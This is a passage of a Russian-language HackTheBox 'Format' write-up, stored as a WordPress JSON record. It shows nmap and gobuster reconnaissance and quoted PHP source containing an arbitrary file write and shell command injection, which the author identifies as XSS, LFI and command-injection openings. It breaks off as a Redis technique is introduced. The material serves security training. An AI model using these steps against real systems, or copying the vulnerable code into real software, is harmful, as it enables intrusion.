{"id":697,"date":"2023-10-02T11:01:59","date_gmt":"2023-10-02T08:01:59","guid":{"rendered":"https:\/\/seq.team\/?p=697"},"modified":"2025-12-02T15:15:39","modified_gmt":"2025-12-02T12:15:39","slug":"razbor-hackthebox-format-medium","status":"publish","type":"post","link":"https:\/\/seq.team\/en\/blog\/razbor-hackthebox-format-medium\/","title":{"rendered":"\u0420\u0430\u0437\u0431\u043e\u0440 HackTheBox &#8211; Format (Medium)"},"content":{"rendered":"\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:66.66%\">\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c:<\/td><td>Medium<\/td><\/tr><tr><td>\u041e\u0421:<\/td><td>Linux<\/td><\/tr><tr><td>\u0411\u0430\u043b\u043b\u044b:<\/td><td>30<\/td><\/tr><tr><td>IP:<\/td><td>10.10.11.213<\/td><\/tr><tr><td>\u0422\u0435\u0433\u0438:<\/td><td>XSS, LFI, Redis, RCE, Format String Injection<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:33.33%\"><\/div>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h3>\n\n\n\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u044d\u043a\u0435\u043d\u0434\u0430 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 PHP. \u0414\u0430\u043b\u0435\u0435, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0441\u0442\u0430\u0442\u0443\u0441 Pro \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 <code>microblog.htb<\/code> \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c PHP webshell \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u043b\u0438\u0446\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>www-data<\/strong><\/code>. \u0414\u0430\u043b\u0435\u0435, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>pspy64<\/code>, \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 <strong><code>cooper<\/code> <\/strong>\u0438 \u0435\u0433\u043e \u0444\u043b\u0430\u0433. \u0417\u0430\u0442\u0435\u043c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 <code>\/usr\/bin\/license<\/code>, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Format String Injection, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>root<\/strong> <\/code>\u0438 \u0435\u0433\u043e \u0444\u043b\u0430\u0433.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0424\u0430\u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438<\/h3>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0434\u0451\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0446\u0435\u043b\u0438: <\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>nmap -sS -p- 10.10.11.213<\/p>\n<\/blockquote>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nPORT STATE SERVICE\n22\/tcp open ssh\n80\/tcp open http\n3000\/tcp open http\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e: <code>nmap -sVC -O -p22,80,3000 10.10.11.213<\/code><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n|   3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)\n|   256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)\n|_  256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)\n80\/tcp   open  http    nginx 1.18.0\n|_http-server-header: nginx\/1.18.0\n|_http-title: Site doesn't have a title (text\/html).\n3000\/tcp open  http    nginx 1.18.0\n|_http-title: Did not follow redirect to http:\/\/microblog.htb:3000\/\n|_http-server-header: nginx\/1.18.0\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n<\/pre><\/div>\n\n\n<p>\u0421\u0440\u0430\u0437\u0443 \u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u043e\u043c\u0435\u043d \u0432 <code>\/etc\/hosts<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n# HTB\n10.10.11.213    microblog.htb\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u0437\u0430\u0439\u0442\u0438 \u043d\u0430 \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0430\u0441 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430 <code>app.microblog.htb<\/code>, \u0435\u0433\u043e \u0442\u0430\u043a\u0436\u0435 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0444\u0430\u0439\u043b <code>\/etc\/hosts<\/code>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-37.png\" alt=\"\" class=\"wp-image-699\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041d\u0430 \u0441\u0430\u0439\u0442\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0431\u043b\u043e\u0433\u0430 \u0441\u043e \u0441\u0432\u043e\u0438\u043c \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u043e\u043c. \u0415\u0441\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d \u0441\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 XSS \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439, \u0442\u043e \u043e\u043d\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-38.png\" alt=\"\" class=\"wp-image-700\" width=\"700\"\/><\/figure><\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-39.png\" alt=\"\" class=\"wp-image-701\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041e\u0442\u043c\u0435\u0442\u0438\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c XSS, \u0432\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043a \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0435. \u041f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 app.microblog.htb \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430\u043c\u0438 \u0436\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u0430:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\ngobuster dir -u http:\/\/app.microblog.htb -w \/usr\/share\/wordlists\/seclists\/Discovery\/Web-Content\/directory-list-2.3-medium.txt -k\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0434\u043b\u044f app.*:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n\/login                (Status: 301) &#x5B;Size: 169] &#x5B;--&gt; http:\/\/app.microblog.htb\/login\/]\n\/register             (Status: 301) &#x5B;Size: 169] &#x5B;--&gt; http:\/\/app.microblog.htb\/register\/]\n\/logout               (Status: 301) &#x5B;Size: 169] &#x5B;--&gt; http:\/\/app.microblog.htb\/logout\/]\n\/dashboard            (Status: 301) &#x5B;Size: 169] &#x5B;--&gt; http:\/\/app.microblog.htb\/dashboard\/]\n<\/pre><\/div>\n\n\n<p>\u0418 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0434\u043b\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0431\u043b\u043e\u0433\u0430:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n\/images               (Status: 301) &#x5B;Size: 169] &#x5B;--&gt; http:\/\/l******e.microblog.htb\/images\/]\n\/content              (Status: 301) &#x5B;Size: 169] &#x5B;--&gt; http:\/\/l******e.microblog.htb\/content\/]\n\/edit                 (Status: 301) &#x5B;Size: 169] &#x5B;--&gt; http:\/\/l******e.microblog.htb\/edit\/]\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">\u0412\u0435\u0431 \u0441\u0435\u0440\u0432\u0438\u0441, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u043e\u0440\u0442\u0435 3000 \u0438 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430<\/h3>\n\n\n\n<p>\u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043d\u0430 \u043f\u043e\u0440\u0442 3000 \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u0438\u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 Gitea \u0432\u0435\u0440\u0441\u0438\u0438 <strong>1.17.3<\/strong>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-40.png\" alt=\"\" class=\"wp-image-702\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0434\u0451\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043d\u0430 \u044d\u0442\u043e\u043c \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0438\u0441\u0435:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\ngobuster dir -u http:\/\/microblog.htb:3000 -w \/usr\/share\/wordlists\/seclists\/Discovery\/Web-Content\/directory-list-2.3-medium.txt -k\n<\/pre><\/div>\n\n\n<p>\u041d\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n\/report               (Status: 200) &#x5B;Size: 4161]\n\/reader               (Status: 405) &#x5B;Size: 153]\n\/embed                (Status: 405) &#x5B;Size: 153]\n\/server-status        (Status: 403) &#x5B;Size: 276]\n<\/pre><\/div>\n\n\n<p>\u0422\u0430\u043a\u0436\u0435, \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043d\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f microblog \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>cooper<\/code>:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-41.png\" alt=\"\" class=\"wp-image-703\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u043f\u043e \u043f\u0443\u0442\u0438 <code>\/cooper\/microblog\/src\/branch\/main\/microblog\/sunny\/edit\/index.php<\/code> \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n&#x5B;...]\nif (isset($_POST&#x5B;'header']) &amp;amp;&amp;amp; isset($_POST&#x5B;'id'])) {\n    chdir(getcwd() . &quot;\/..\/content&quot;);\n    $html = &quot;&amp;lt;div class = \\&quot;blog-h1 blue-fill\\&quot;&gt;&amp;lt;b&gt;{$_POST&#x5B;'header']}&amp;lt;\/b&gt;&amp;lt;\/div&gt;&quot;;\n    $post_file = fopen(&quot;{$_POST&#x5B;'id']}&quot;, &quot;w&quot;);\n    fwrite($post_file, $html);\n    fclose($post_file);\n    $order_file = fopen(&quot;order.txt&quot;, &quot;a&quot;);\n    fwrite($order_file, $_POST&#x5B;'id'] . &quot;\\n&quot;);  \n    fclose($order_file);\n    header(&quot;Location: \/edit?message=Section added!&amp;amp;status=success&quot;);\n}\n\n\/\/add text\nif (isset($_POST&#x5B;'txt']) &amp;amp;&amp;amp; isset($_POST&#x5B;'id'])) {\n    chdir(getcwd() . &quot;\/..\/content&quot;);\n    $txt_nl = nl2br($_POST&#x5B;'txt']);\n    $html = &quot;&amp;lt;div class = \\&quot;blog-h1 blue-fill\\&quot;&gt;{$txt_nl}&amp;lt;\/div&gt;&quot;;\n    $post_file = fopen(&quot;{$_POST&#x5B;'id']}&quot;, &quot;w&quot;);\n    fwrite($post_file, $html);\n    fclose($post_file);\n    $order_file = fopen(&quot;order.txt&quot;, &quot;a&quot;);\n    fwrite($order_file, $_POST&#x5B;'id'] . &quot;\\n&quot;);  \n    fclose($order_file);\n    header(&quot;Location: \/edit?message=Section added!&amp;amp;status=success&quot;);\n}\n&#x5B;...]\n<\/pre><\/div>\n\n\n<p>\u0412<code> index.php<\/code> \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 <code>id<\/code> \u0434\u0430\u043b\u0435\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 <code>txt<\/code>. \u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0437\u0430\u0442\u0435\u043c \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0438\u0440\u0443\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u0430, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0435 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 id \u043a \u0444\u0430\u0439\u043b\u0443 <code>order.txt<\/code>. \u0417\u0430\u0442\u0435\u043c, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u043d\u0438\u0436\u0435, \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>fetchPage<\/code> \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 order.txt \u0438 \u0432\u044b\u0432\u043e\u0434\u0438\u0442. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-42.png\" alt=\"\" class=\"wp-image-704\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0421\u0443\u0434\u044f \u043f\u043e \u0442\u0430\u043a\u043e\u0439 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0435 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c LFI.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-43.png\" alt=\"\" class=\"wp-image-705\" width=\"700\"\/><\/figure><\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/09\/image-44.png\" alt=\"\" class=\"wp-image-708\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041e\u0442\u0441\u044e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0435\u0441\u0442\u044c 2 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f &#8211; <code>cooper<\/code> \u0438 <code>git<\/code>.<\/p>\n\n\n\n<p>\u0422\u0430\u043a\u0436\u0435, \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u043a\u043e\u0434\u043e\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f Redis &#8211; NoSQL \u0421\u0423\u0411\u0414 \u0438 \u043a\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0441 \u043f\u043b\u0430\u0442\u043d\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u043e\u0439 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n&#x5B;...]\nfunction checkUserOwnsBlog() {\n    $redis = new Redis();\n    $redis-&gt;connect('\/var\/run\/redis\/redis.sock');\n    $subdomain = array_shift((explode('.', $_SERVER&#x5B;'HTTP_HOST'])));\n    $userSites = $redis-&gt;LRANGE($_SESSION&#x5B;'username'] . &quot;:sites&quot;, 0, -1);\n    if(!in_array($subdomain, $userSites)) {\n        header(&quot;Location: \/&quot;);\n        exit;\n    }\n}\n\nfunction provisionProUser() {\n    if(isPro() === &quot;true&quot;) {\n        $blogName = trim(urldecode(getBlogName()));\n        system(&quot;chmod +w \/var\/www\/microblog\/&quot; . $blogName);\n        system(&quot;chmod +w \/var\/www\/microblog\/&quot; . $blogName . &quot;\/edit&quot;);\n        system(&quot;cp \/var\/www\/pro-files\/bulletproof.php \/var\/www\/microblog\/&quot; . $blogName . &quot;\/edit\/&quot;);\n        system(&quot;mkdir \/var\/www\/microblog\/&quot; . $blogName . &quot;\/uploads &amp;amp;&amp;amp; chmod 700 \/var\/www\/microblog\/&quot; . $blogName . &quot;\/uploads&quot;);\n        system(&quot;chmod -w \/var\/www\/microblog\/&quot; . $blogName . &quot;\/edit &amp;amp;&amp;amp; chmod -w \/var\/www\/microblog\/&quot; . $blogName);\n    }\n    return;\n}\n\n\nfunction isPro() {\n    if(isset($_SESSION&#x5B;'username'])) {\n        $redis = new Redis();\n        $redis-&gt;connect('\/var\/run\/redis\/redis.sock');\n        $pro = $redis-&gt;HGET($_SESSION&#x5B;'username'], &quot;pro&quot;);\n        return strval($pro);\n    }\n    return &quot;false&quot;;\n}\n&#x5B;...]\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043c\u0430\u0448\u0438\u043d\u0435<\/h3>\n\n\n\n<p>\u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u043a\u043e\u0434 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>microblog.htb<\/code> \u043c\u043e\u0436\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434 \u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u043c \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.<\/p>\n\n\n\n<p>\u0422\u0430\u043a\u0436\u0435, \u0432 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0434\u043b\u044f Redis \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0430, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e 